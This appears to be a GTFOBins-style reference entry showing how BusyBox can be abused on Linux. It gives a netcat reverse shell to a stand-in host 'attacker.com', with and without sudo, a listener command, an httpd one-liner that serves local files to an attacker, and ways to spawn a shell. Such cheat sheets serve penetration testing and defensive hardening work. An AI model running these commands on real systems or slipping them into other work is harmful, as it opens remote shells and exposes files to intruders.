busybox

CommentBusyBox may contain many utilities, run busybox --list-full to check what other binaries are supported.

Reverse shell

This executable can send back a reverse system shell to a listening attacker.
  1. This function can be performed by any unprivileged user.
    busybox nc -e /bin/sh attacker.com 12345
    This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
    RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
    busybox nc -e /bin/sh attacker.com 12345
    ListenerA TCP server can be used on the attacker box to receive the shell.
    nc -l -p 12345

Upload

This executable can upload local data.
  1. CommentThis serves files in the local folder via an HTTP server.
    This function can be performed by any unprivileged user.
    busybox httpd -f -p 12345 -h .
    This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
    RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
    busybox httpd -f -p 12345 -h .
    ReceiverAn HTTP client can be used on the attacker box to receive the data.
    curl victim.com -o /path/to/output-file

Inherit

This executable can inherit functions from another.
  1. This function can be performed by any unprivileged user.
    busybox ash
    This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
    RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
    busybox ash
    Functions

    Inherits from ash, thus possibly granting its functions.

  2. This function can be performed by any unprivileged user.
    busybox cat
    This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
    RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
    busybox cat
    Functions

    Inherits from cat, thus possibly granting its functions.